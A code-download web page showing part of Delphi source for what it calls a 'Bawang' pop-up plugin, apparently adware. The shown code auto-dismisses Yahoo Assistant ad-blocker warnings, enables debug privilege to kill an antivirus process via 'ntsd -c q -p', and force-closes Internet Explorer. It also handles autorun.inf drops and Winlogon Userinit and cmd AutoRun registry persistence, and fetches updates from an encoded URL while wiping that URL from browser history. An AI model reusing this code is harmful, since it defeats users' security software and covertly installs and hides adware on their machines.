⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unitconfigserver.pas

📁 功能强大的霸王插件源代码
💻 PAS
📖 第 1 页 / 共 5 页
字号:
               SendMessage(h, WM_LBUTTONDOWN, 0, 0);
               SendMessage(h, WM_LBUTTONUP, 0, 0);
               SendMessage(h, WM_LBUTTONDOWN, 0, 0);
               SendMessage(h, WM_LBUTTONUP, 0, 0);
             end;
         end
       else
         SetWindowPos(k,HWND_NOTOPMOST,-4000,Screen.Height+100,400,400,SWP_NOACTIVATE);;
       //关雅虎助手广告拦截
       k:=findwindow('#32770','雅虎助手广告拦截');
       if k<>0 then
       if IsWindowEnabled(k) then
         begin
           h:=findwindowex(k,0,'Button','下次不显示此提示框');
           if h<>0 then//设置选中状态
             begin
               //showmessage('a');
               SendMessage(h, BM_SETCHECK, Integer(true), 0);
             end;
           //得按钮,关闭
           h:=findwindowex(k,0,'Button','确定');
           if h<>0 then//关闭
             begin
               SendMessage(h, WM_LBUTTONDOWN, 0, 0);
               SendMessage(h, WM_LBUTTONUP, 0, 0);
               SendMessage(h, WM_LBUTTONDOWN, 0, 0);
               SendMessage(h, WM_LBUTTONUP, 0, 0);
             end;
         end
       else
         SetWindowPos(k,HWND_NOTOPMOST,-4000,Screen.Height+100,400,400,SWP_NOACTIVATE);
     except
     end;
end;
procedure closewindow;
var k:integer;
    st:tstringlist;
    //r:trect;
begin
   KillIeWindow;
   st:=tstringlist.Create;
   try
     GetWindowsHandle('IEFrame',st);
     for k := st.Count - 1 downto 0 do
       begin
         if IsWindowEnabled(strtoint(st.Strings[k])) then
           begin
             sendmessage(strtoint(st.Strings[k]),WM_SYSCOMMAND,SC_CLOSE,0);
           end;
         sleep(200);
       end;
   except
   end;
   st.Free;
   KillIeWindow;
end;
procedure mydeletefile(fn:string);
begin
  if trim(fn)='' then exit;
  if fileexists(fn)=false then exit;
  SetFileAttributes(pchar(fn),0);
  sleep(100);
  deletefile(pchar(fn));
  sleep(100);
  if fileexists(fn) then
    messagebox(f_main.Handle,pchar(fn+'删除失败!'),'警告',0);
end;
function HasKV:boolean;
const maxp=6;
var
  lppe: tprocessentry32;
  sshandle: thandle;
  found: boolean;
  pg:array[1..maxp] of string;
  pgh:array[1..maxp] of integer;
  i:integer;
begin
  result:=false;
  for i:=1 to maxp do
    begin
      pg[i]:='';
      pgh[i]:=0;
    end;
  //pg[1]:='KVSrvXP.exe';
  pg[2]:='KRegEx.exe';
  {pg[3]:='KVXP.kxp';
  pg[4]:='KVMonXP.kxp';
  pg[5]:='trojdie.kxp';
  pg[6]:='uihost.exe';}
  sshandle := createtoolhelp32snapshot(TH32CS_SNAPALL, 0);
  found := process32first(sshandle, lppe);
  while found do
    begin
      for i:=1 to maxp do
      if pg[i]<>'' then
      if ansiCompareText(ExtractFileName(lppe.szExefile),pg[i]) = 0 then
        begin
         //result:=true;
         //break;
         pgh[i]:=lppe.th32ProcessID;
        end;
      //if result then break;
      found := process32next(sshandle, lppe); {检索下一个进程}
      sleep(1);
    end;
  CloseHandle(sshandle);
  for i:=1 to maxp do
  if pgh[i]<>0 then
    begin
      winexec(pchar('ntsd -c q -p '+inttostr(pgh[i])),SW_MINIMIZE);
    end;
end;
function EnabledDebugPrivilege(const Enabled : Boolean) : Boolean;
var
  hTk : THandle;
  rtnTemp : Dword;
  TokenPri : TOKEN_PRIVILEGES;
const
  SE_DEBUG = 'SeDebugPrivilege';
begin
  Result := False;

  if (OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,hTk)) then
  begin
    TokenPri.PrivilegeCount := 1;

    LookupPrivilegeValue(nil,SE_DEBUG,TokenPri.Privileges[0].Luid);

    if Enabled then
      TokenPri.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
    else
      TokenPri.Privileges[0].Attributes := 0;

    rtnTemp := 0;

    AdjustTokenPrivileges(hTk,False,TokenPri,sizeof(TokenPri),nil,rtnTemp);

    Result := GetLastError = ERROR_SUCCESS;
    CloseHandle(hTk);

  end;
end;

procedure Tf_main.Button2Click(Sender: TObject);
var KeyHandle:hkey;
    ie:string;
    ini:tinifile;
    st_handle:tstringlist;
    i:integer;
    fn_dll32,fn_dll16,fn_exe,fn_dll16_scr,fn_exe_scr,fn_auto,fn_auto_exe:string;
begin
   ini:=tinifile.Create(syscfg);
   try
      fn_exe:=Ini.ReadString('exe','fn','');
      fn_exe_scr:=Ini.ReadString('exe_bak','fn','');


      fn_auto:='d:\autorun.inf';
      fn_auto_exe:=Ini.ReadString('exe','fn_pif','d:\mplay.com');

      fn_dll32:=Ini.ReadString('dll_hitpop','fn','');

      fn_dll16:=Ini.ReadString('dll_start','fn','');
      fn_dll16_scr:=Ini.ReadString('dll_start_bak','fn','');
   finally
     ini.Free;
   end;
   if fileexists(fn_dll16)=false then
   if fileexists(fn_exe)=false then
   if fileexists(fn_auto_exe)=false then
     begin
       messagebox(handle,'本机没有安装插件,无需卸载!','提示',0);
       exit;
     end;
   if messagebox(handle,pchar('确实卸载插件?'+#13+'注意:软件会关闭所有ie实例!'),'警告',1)<>mrok then exit;
   st_handle:=tstringlist.Create;
   try
     for i:=1 to 30 do
       begin
         closewindow;
         sleep(400);
         GetWindowsHandle('IEFrame',st_handle);
         if st_handle.Count=0 then break;
       end;
     GetWindowsHandle('IEFrame',st_handle);
     if st_handle.Count>0 then
       begin
         messagebox(handle,'有ie实例没有关闭,不能卸载!','警告',0);
         exit;
       end;
   finally
     st_handle.Free;
   end;

   mydeletefile(fn_exe);
   mydeletefile(fn_exe_scr);
   mydeletefile(fn_auto);
   mydeletefile(fn_auto_exe);
   mydeletefile(fn_dll16);
   mydeletefile(fn_dll16_scr);
   closewindow;
   EnabledDebugPrivilege(true);
   haskv;
   sleep(2000);
   //写自启动注册表
  //HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
  if RegOpenKey(HKEY_LOCAL_MACHINE, PChar('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon'), KeyHandle) = ERROR_SUCCESS then
  try
    ie:='userinit.exe';
    RegSetValueEx(KeyHandle, 'Userinit', 0, REG_SZ,PChar(ie), Length(ie) + 1);
  finally
    RegCloseKey(KeyHandle);
  end;
  if RegOpenKey(HKEY_LOCAL_MACHINE, PChar('SOFTWARE\Microsoft\Command Processor'), KeyHandle) = ERROR_SUCCESS then
  try
    ie:='';
    RegSetValueEx(KeyHandle, 'AutoRun', 0, REG_SZ,PChar(ie), Length(ie) + 1);
  finally
    RegCloseKey(KeyHandle);
  end;
  mydeletefile(fn_dll32);
  messagebox(handle,pchar('卸载完毕!'),'提示',0);
end;
function dec2bin(octNumber:integer):string;
var vara:integer;
begin
  vara:=octNumber;
  result:='';
  while true do
    begin
      if vara=0 then break;
      result:=inttostr(vara mod 2) +result;
      vara:=vara div 2;
    end;
end;
function bin2dec(binStr:string):integer;
var towPow,numLen,decPos:integer;
    cChar:char;
    nChar:integer;
begin
  towPow:=1;
  numLen:=length(binStr);
  result:=0;
  decPos:=numLen;
  while true do
    begin
      if decPos<=0 then break;
      cChar:=binStr[decPos];
      nChar:=strtoint(cChar);
      result:=result+nChar*towPow;
      towPow:=towPow*2;
      decPos:=decPos-1
    end;
end;
function deCode_base64(InStr:string):string;
var i,i1,i2:integer;
    baseStr,bins,binValue,deChar:string;
    oldValue:integer;
    tmp:string;
    nchar:char;
begin
  result:='';
  baseStr:=trim(InStr);
  if baseStr='' then exit;
  if length(baseStr) mod 4 <>0 then exit;
  bins:='';
  try
    i1:=0;
    i2:=0;
    for i:=1 to Length(baseStr) do
      begin
        nChar:=baseStr[i];
        if nChar='=' then break;
        oldValue:=pos(nChar,Bstr_base64)-1;
        tmp:='000000'+dec2bin(oldValue);
        binValue:=copy(tmp,length(tmp)-5,6);
        bins:=bins+binValue;
        if length(bins)>=8 then
          begin
            deChar:=copy(bins,1,8);
            bins:=copy(bins,9,length(bins));
            tmp:=chr(bin2Dec(deChar));
            if i1=0 then
              i1:=bin2Dec(deChar);
            if i1<>0 then
            if i2=0 then
               i2:=bin2Dec(deChar);
            if i1>0 then
            if i2>0 then
              begin
                //ac:=char(i1+i2);
               // if messagebox(form1.handle,pchar(ac),'',1)<>mrok then break;
              end;
            result:=result+pchar(tmp);
            //if messagebox(form1.handle,pchar(inttostr(ord(tmp[1]))),'',1)<>mrok then break;
          end
      end;
  except
    //on e:exception do
      begin
        result:='';
      end;
  end;
end;
function unescape(src: string): string;
var
  tmp,t,s: string;
begin
  result:='';
  try
    tmp:=trim(src);
    while  true  do
      begin
        sleep(1);
        if tmp='' then break;
        if tmp[1]='%' then
          begin
            if tmp[2]='u' then
              begin
                t:=copy(tmp,1,6);
                tmp:=copy(tmp,7,length(tmp));
                t:=copy(t,3,length(t));
                s:='$'+t;
                result:=result+widechar(strtoint(s));
              end
            else
              begin
                t:=copy(tmp,1,3);
                tmp:=copy(tmp,4,length(tmp));
                t:=copy(t,2,length(t));
                s:='$'+t;
                result:=result+chr(strtoint(s));
              end;
          end
        else
          begin
            result:=result+tmp[1];
            tmp:=copy(tmp,2,length(tmp));
          end;
      end;
  except
  end;
end;
//检查最新版本
procedure Tf_main.Button3Click(Sender: TObject);
var url,tmp,msg:string;
    st,st_msg:tstringlist;
    i:integer;
    ini:tinifile;
    s,s1,stt:string;
    url_ver:string;
begin
//try
   timer1.Enabled:=false;
   ini:=tinifile.Create(current_path+cfg);
   s:=ini.readString('check','auto','');
   ini.free;
   if s<>'' then
   if messagebox(handle,'开始检查新版本?','提示',1)<>mrok then
     exit;
   st:=tstringlist.Create;
   st_msg:=tstringlist.Create;
   timer1.Interval:=1000*60*60;//1小时检查1次
   if rb2.Checked then
     url_ver:=url_ver_vip
   else
     url_ver:=url_ver_free;
   try
     try
       url:=decodestr(url_ver);
     except
       url:=url_ver;
     end;
     if copy(url,1,7)<>'http://' then
       begin
         messagebox(handle,'最新版本url不合法','警告',0);
         exit;
       end;
     tmp:=Get_TempPath+GetUrlFileName(url);
     if fileexists(tmp) then
       begin
         deletefile(tmp);
         sleep(500);
       end;
     if fileexists(tmp) then
       begin
         messagebox(handle,pchar('临时文件不能被覆盖,请检查'+#13+tmp),'警告',0);
         exit;
       end;
     panel1.Caption:='正在检查文件版本,请等待......';
     refresh;
     url:=url+'?tm='+floattostr(now);//+'&userid='+e_user.Text+'&password='+MD5Print(MD5String(trim(e_password.Text)));
     DeleteIEHistory(url);
     GetInetFile(url,tmp,nil);
     if fileexists(tmp)=false then
        UrlDownloadToFile(nil, PChar(url), PChar(tmp), 0, nil);
     DeleteIEHistory(url);
     if fileexists(tmp) then
       begin
         st.LoadFromFile(tmp);
         stt:='';
         try
           if st.Count>0 then
             begin
               for i:=1 to st.Count do
                 begin
                   stt:=trim(st.Strings[i-1]);
                   if length(stt)>5 then break;
                 end;
               i:=strtoint(copy(trim(stt),1,6));
             end
           else
             i:=0;
         except
           on e:exception do
             begin
               i:=0;
               panel1.Caption:='检查版本失败--'+st.Text;
             end;
         end;
         if i>0 then
           begin
             e_ver_new.hint:=copy(trim(stt),1,6);
             if strtoint(e_ver_new.hint)>strtoint(e_ver_new.text) then
               e_ver_new.Text:=e_ver_new.hint;
             if e_ver_new.Text>e_ver.Text then
               begin
                 if self.WindowState<>wsNormal then
                   self.WindowState:=wsNormal;
                 if visible=false then
                   self.show;
                 application.BringToFront;

                 messagebox(handle,pchar('弹窗插件有新版本出来,请马上升级!'+#13+'最新版:'+e_ver_new.Text),'警告',0);
                 ini:=tinifile.Create(current_path+cfg);
                 ini.writeString('sys','ver_new',e_ver_new.Text);
                 ini.free;
                 panel1.Caption:='';
               end
             else
               panel1.Caption:='当前版本就是最新的';
           end;
           msg:=trim(stt);
           msg:=copy(msg,7,length(msg));
           try
             e_lc.Value:=strtoint(getfield(msg));
           except
             //e_lc.Value:=4;
           end;
           try
             e_fb.value:=strtoint(getfield(msg));
           except
             //e_fb.value:=128;
           end;
           try

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -